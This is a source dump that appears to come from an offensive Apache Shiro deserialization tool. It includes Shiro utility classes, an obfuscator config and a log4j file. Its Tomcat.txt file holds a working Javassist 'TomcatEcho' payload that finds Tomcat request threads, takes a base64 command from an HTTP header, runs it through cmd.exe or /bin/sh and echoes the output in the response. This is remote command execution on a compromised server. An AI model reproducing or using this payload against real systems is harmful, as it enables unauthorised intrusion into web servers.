applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | import org.apache.shiro.lang.ShiroException; 22 | 23 | 24 | /** 25 | * The Shiro framework's RuntimeException equivalent of the JDK's 26 | * ClassNotFoundException, to maintain a RuntimeException paradigm. 27 | * 28 | * @since 0.1 29 | */ 30 | public class UnknownClassException extends ShiroException 31 | { 32 | 33 | /** 34 | * Creates a new UnknownClassException. 35 | */ 36 | public UnknownClassException() { 37 | super(); 38 | } 39 | 40 | /** 41 | * Constructs a new UnknownClassException. 42 | * 43 | * @param message the reason for the exception 44 | */ 45 | public UnknownClassException(String message) { 46 | super(message); 47 | } 48 | 49 | /** 50 | * Constructs a new UnknownClassException. 51 | * 52 | * @param cause the underlying Throwable that caused this exception to be thrown. 53 | */ 54 | public UnknownClassException(Throwable cause) { 55 | super(cause); 56 | } 57 | 58 | /** 59 | * Constructs a new UnknownClassException. 60 | * 61 | * @param message the reason for the exception 62 | * @param cause the underlying Throwable that caused this exception to be thrown. 63 | */ 64 | public UnknownClassException(String message, Throwable cause) { 65 | super(message, cause); 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/util/ByteSourceWrapper.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | package org.apache.shiro.util; 21 | 22 | import org.apache.shiro.lang.util.ByteSource; 23 | 24 | import java.io.Closeable; 25 | import java.io.IOException; 26 | 27 | /** 28 | * To use try-with-resources idiom, this class supports wrapping existing ByteSource 29 | * object or byte array. At end of try block, it gets zeroed out automatically. 30 | */ 31 | public class ByteSourceWrapper implements Closeable { 32 | private byte[] bytes; 33 | 34 | private ByteSourceWrapper(byte[] bytes) { 35 | this.bytes = bytes; 36 | } 37 | 38 | /** 39 | * This method generically accepts byte array or ByteSource instance. 40 | */ 41 | public static ByteSourceWrapper wrap(Object value) { 42 | if (value instanceof byte[]) { 43 | byte[] bytes = (byte[]) value; 44 | return new ByteSourceWrapper(bytes); 45 | } else if (value instanceof ByteSource) { 46 | byte[] bytes = ((ByteSource) value).getBytes(); 47 | return new ByteSourceWrapper(bytes); 48 | } 49 | throw new IllegalArgumentException(); 50 | } 51 | 52 | public byte[] getBytes() { 53 | return bytes; 54 | } 55 | 56 | public void close() throws IOException { 57 | ByteUtils.wipe(bytes); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/util/ByteUtils.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018 The shiro-root contributors 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package org.apache.shiro.util; 18 | 19 | import java.util.Arrays; 20 | 21 | public final class ByteUtils { 22 | 23 | private ByteUtils() { 24 | // private utility class 25 | } 26 | 27 | /** 28 | * For security, sensitive information in array should be zeroed-out at end of use (SHIRO-349). 29 | * @param value An array holding sensitive data 30 | */ 31 | public static void wipe(Object value) { 32 | if (value instanceof byte[]) { 33 | byte[] array = (byte[]) value; 34 | Arrays.fill(array, (byte) 0); 35 | } else if (value instanceof char[]) { 36 | char[] array = (char[]) value; 37 | Arrays.fill(array, '\u0000'); 38 | } 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/resources/Tomcat.txt: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | import java.io.IOException; 4 | import javassist.CannotCompileException; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | import javassist.CtMethod; 8 | import javassist.CtNewConstructor; 9 | import javassist.NotFoundException; 10 | 11 | 12 | 13 | public class TomcatEcho implements EchoPayload { 14 | @Override 15 | public CtClass genPayload(ClassPool pool) throws CannotCompileException, NotFoundException, IOException { 16 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 17 | 18 | if ((clazz.getDeclaredConstructors()).length != 0) { 19 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 20 | } 21 | clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n Object var2;\n Class var3;\n try {\n var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n var2 = var3.newInstance();\n var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (ClassNotFoundException var5) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (NoSuchMethodException var6) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n }\n\n}", clazz)); 22 | 23 | clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n java.lang.reflect.Field var2 = null;\n Class var3 = var0.getClass();\n\n while(var3 != Object.class) {\n try {\n var2 = var3.getDeclaredField(var1);\n break;\n } catch (NoSuchFieldException var5) {\n var3 = var3.getSuperclass();\n }\n }\n\n if (var2 == null) {\n throw new NoSuchFieldException(var1);\n } else {\n var2.setAccessible(true);\n return var2.get(var0);\n }\n }", clazz)); 24 | 25 | 26 | clazz.addConstructor(CtNewConstructor.make(" public TomcatEcho() throws Exception {\n boolean var4 = false;\n Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n for (int var6 = 0; var6 < var5.length; ++var6) {\n Thread var7 = var5[var6];\n if (var7 != null) {\n String var3 = var7.getName();\n if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n Object var1 = getFV(var7, \"target\");\n if (var1 instanceof Runnable) {\n try {\n var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception var13) {\n continue;\n }\n\n java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n\n for(int var10 = 0; var10 < var9.size(); ++var10) {\n Object var11 = var9.get(var10);\n var1 = getFV(var11, \"req\");\n Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"techo\")});\n if (var3 != null && !var3.isEmpty()) {\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"techo\"), var3});\n var4 = true;\n }\n\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"c\")});\n if (var3 != null && !var3.isEmpty()) {\n var3 = org.apache.shiro.codec.Base64.decodeToString(var3);\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n var4 = true;\n }\n\n if (var4) {\n break;\n }\n }\n\n if (var4) {\n break;\n }\n }\n }\n }\n }\n}", clazz)); 27 | 28 | return clazz; 29 | } 30 | } 31 | 32 | -------------------------------------------------------------------------------- /src/main/resources/allatori.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | ### \u8bbe\u7f6e Logger \u8f93\u51fa\u7ea7\u522b\u548c\u8f93\u51fa\u76ee\u7684\u5730 ### 2 | 3 | log4j.rootLogger=DEBUG,stdout,logfile 4 | 5 | ### \u628a\u65e5\u5fd7\u4fe1\u606f\u8f93\u51fa\u5230\u63a7\u5236\u53f0 ### 6 | 7 | log4j.appender.INFO=org.apache.log4j.ConsoleAppender 8 | log4j.appender.INFO.layout=org.apache.log4j.PatternLayout 9 | log4j.appender.INFO.layout.ConversionPattern=[%-5p] %L method:%l - %m%n 10 | 11 | log4j.appender.stdout=org.apache.log4j.ConsoleAppender 12 | #log4j.appender.stdout.Target=System.err 13 | log4j.appender.stdout.layout=org.apache.log4j.SimpleLayout 14 | #log4j.appender.stdout.layout.ConversionPattern=[%-5p] %L method:%l - %m%n 15 | 16 | ### \u628a\u65e5\u5fd7\u4fe1\u606f\u8f93\u51fa\u5230\u6587\u4ef6 jbit.log ### 17 | 18 | #log4j.appender.logfile=org.apache.log4j.FileAppender 19 | log4j.appender.logfile=org.apache.log4j.DailyRollingFileAppender 20 | 21 | log4j.appender.logfile.File=/logs/httpclient/httputil.log 22 | 23 | log4j.appender.logfile.DatePattern='.'yyyy-MM-dd 24 | 25 | log4j.appender.logfile.layout=org.apache.log4j.PatternLayout 26 | 27 | #log4j.appender.logfile.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %F %p %m%n 28 | log4j.appender.logfile.layout.ConversionPattern=[%-5p] %L-%d{yyyy-MM-dd HH:mm:ss,SSS} method:%l - %m%n 29 | 30 | 31 | --------------------------------------------------------------------------------